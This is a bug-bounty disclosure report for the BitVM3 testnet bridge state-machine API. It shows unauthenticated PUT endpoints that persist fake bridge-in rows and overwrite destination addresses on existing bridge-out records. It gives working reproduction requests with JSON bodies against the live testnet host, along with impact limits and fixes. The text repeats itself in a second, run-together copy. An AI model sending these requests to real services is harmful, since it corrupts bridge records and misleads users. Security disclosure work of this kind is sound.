Summary
Unauthenticated PUTs on the official BitVM3 testnet state-machine API persist attacker-chosen instance rows and overwrite to_addr on existing Initialize bridge-out records.
This is Bridge State Machine (API) (in-scope). Severity: Medium (integrity / availability). Not unauthorized mint, BTC theft, or unauthorized withdraw — those were tested and not achieved.
Affected component
- Host:
https://bitvm3-api-testnet4.goat.network
PUT /v1/instances/bridge-in-request-tag — node/src/rpc_service/handler/bitvm2_handler.rs (bridge_in_request_tag)
PUT /v1/instances/bridge-out-init-tag — same file (bridge_out_init_tag)
- Router:
node/src/rpc_service/mod.rs (no auth middleware on these routes)
- Auth helper
verify_request_auth is only called in pegout and send_challenge
Mechanism
X-Auth-Timestamp + Schnorr X-Auth-Signature (BITVM_SECRET) gate money RPCs. Tag/init PUTs skip that check and call upsert_instance (INSERT OR REPLACE).
Bridge-in: caller-chosen UUID, status UserIniting. Same UUID + different from_addr/to_addr → BRIDGE_IN_INSTANCE_ID_CONFLICT.
Bridge-out: if an instance already exists for escrow_hash in Initialize, the handler overwrites to_addr from the unauthenticated body. No ownership check.
Steps to reproduce (2026-08-19, no auth headers)
1. Persist a fake bridge-in
PUT https://bitvm3-api-testnet4.goat.network/v1/instances/bridge-in-request-tag
Content-Type: application/json
{
"instance_id": "a1b2c3d4-e5f6-4789-a012-3456789abcde",
"contract_address": "0x60a5b099eE011018DD064F9eBD50d381C37b5e8b",
"from_addr": "tb1qw508d6qejxtdg4y5r3zarvary0c5xw7kxpjzsx",
"to_addr": "0x00000000000000000000000000000000000000aa",
"bridge_request_tx_hash": "0x1111111111111111111111111111111111111111111111111111111111111111"
}
- Response:
200 {}
GET /v1/instances/a1b2c3d4-e5f6-4789-a012-3456789abcde → persisted UserIniting, to_addr 0x…00AA
- Same UUID + different
to_addr → 500 {"error":"BRIDGE_IN_INSTANCE_ID_CONFLICT",...}
- 5 rapid unique-UUID PUTs → 5×
200. GET /v1/instances?is_bridge_in=true&offset=0&limit=1 total 6 → 12. No rate limit.
2. Overwrite an existing bridge-out dest
Existing row 424f4944-f604-9a71-1c10-020f1c1d6ea4, escrow 0xaaa…aaa, status Initialize.
Before: to_addr = tb1qrp33g0q5c5txsp9arysrx4k6zdkfs4nce4xj0gdcccefvpysxf3q0sl5k7
PUT https://bitvm3-api-testnet4.goat.network/v1/instances/bridge-out-init-tag
Content-Type: application/json
{
"contract_address": "0x3FbbA0eb82cf1247cbf92B3D51641226310F0Ca5",
"from_addr": "0x0000000000000000000000000000000000000001",
"to_addr": "tb1qw508d6qejxtdg4y5r3zarvary0c5xw7kxpjzsx",
"escrow_hash": "0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
}
- Response:
200 {}
- GET same instance →
to_addr rewritten to tb1qw508…
- Original
to_addr restored immediately after the check
Control (auth works on siblings)
POST /v1/graphs/pegout {}
POST /v1/graphs/123e4567-e89b-12d3-a456-426614174000/send-challenge {}
Both: 401 {"error":"AUTH_ERROR","message":"missing X-Auth-Timestamp header"}
Impact (proven vs not)
Proven
- Anyone can insert official-node instance rows (indexer / UI poison)
- UUID squat returns 500 to a later real client using that id
- Unauthenticated overwrite of displayed BTC dest on a live
Initialize bridge-out
Not proven — do not treat as fund loss
- Does not mint pegBTC (
postPeginData is onlyCommittee + merkle + committee sigs)
GET .../unsigned-pegin-txn on the planted row returned {pegin_prepare:null,pegin_cancel_psbt:null} (status still UserIniting)
- Later on-chain
BridgeInRequest uses INSERT OR REPLACE, so a squat does not permanently block a real pegin of the same UUID
- Bridge-out BTC payout is taken from on-chain
claim_data.output_script (handle_swap_claim_events), not from this overwritten to_addr
Wrong-contract error bodies also leak the expected gateway / swap addresses (expect:0x60a5… / expect:0x3Fbb…).
Fix
- Call
verify_request_auth (or a user-bound signature) on both PUTs.
- Do not let an unauthenticated body overwrite
to_addr on an existing escrow row.
- Rate-limit unauthenticated writes.
- Stop reflecting expected contract addresses in error messages.
Scope / duplicate
- Program: GOAT BitVM3 Bug Bounty (state-machine API is an explicit Tally component).
- Not
Gateway.initWithdraw / Pashov F-3 / bitvm-L2-contracts#20.
- No matching open issue found on
bitvm-node.
Summary
Unauthenticated
PUTs on the official BitVM3 testnet state-machine API persist attacker-chosen instance rows and overwriteto_addron existingInitializebridge-out records.This is Bridge State Machine (API) (in-scope). Severity: Medium (integrity / availability). Not unauthorized mint, BTC theft, or unauthorized withdraw — those were tested and not achieved.
Affected component
https://bitvm3-api-testnet4.goat.networkPUT /v1/instances/bridge-in-request-tag—node/src/rpc_service/handler/bitvm2_handler.rs(bridge_in_request_tag)PUT /v1/instances/bridge-out-init-tag— same file (bridge_out_init_tag)node/src/rpc_service/mod.rs(no auth middleware on these routes)verify_request_authis only called inpegoutandsend_challengeMechanism
X-Auth-Timestamp+ SchnorrX-Auth-Signature(BITVM_SECRET) gate money RPCs. Tag/init PUTs skip that check and callupsert_instance(INSERT OR REPLACE).Bridge-in: caller-chosen UUID, status
UserIniting. Same UUID + differentfrom_addr/to_addr→BRIDGE_IN_INSTANCE_ID_CONFLICT.Bridge-out: if an instance already exists for
escrow_hashinInitialize, the handler overwritesto_addrfrom the unauthenticated body. No ownership check.Steps to reproduce (2026-08-19, no auth headers)
1. Persist a fake bridge-in
200 {}GET /v1/instances/a1b2c3d4-e5f6-4789-a012-3456789abcde→ persistedUserIniting,to_addr0x…00AAto_addr→500 {"error":"BRIDGE_IN_INSTANCE_ID_CONFLICT",...}200.GET /v1/instances?is_bridge_in=true&offset=0&limit=1total 6 → 12. No rate limit.2. Overwrite an existing bridge-out dest
Existing row
424f4944-f604-9a71-1c10-020f1c1d6ea4, escrow0xaaa…aaa, statusInitialize.Before:
to_addr = tb1qrp33g0q5c5txsp9arysrx4k6zdkfs4nce4xj0gdcccefvpysxf3q0sl5k7200 {}to_addrrewritten totb1qw508…to_addrrestored immediately after the checkControl (auth works on siblings)
Both:
401 {"error":"AUTH_ERROR","message":"missing X-Auth-Timestamp header"}Impact (proven vs not)
Proven
Initializebridge-outNot proven — do not treat as fund loss
postPeginDataisonlyCommittee+ merkle + committee sigs)GET .../unsigned-pegin-txnon the planted row returned{pegin_prepare:null,pegin_cancel_psbt:null}(status stillUserIniting)BridgeInRequestusesINSERT OR REPLACE, so a squat does not permanently block a real pegin of the same UUIDclaim_data.output_script(handle_swap_claim_events), not from this overwrittento_addrWrong-contract error bodies also leak the expected gateway / swap addresses (
expect:0x60a5…/expect:0x3Fbb…).Fix
verify_request_auth(or a user-bound signature) on both PUTs.to_addron an existing escrow row.Scope / duplicate
Gateway.initWithdraw/ Pashov F-3 /bitvm-L2-contracts#20.bitvm-node.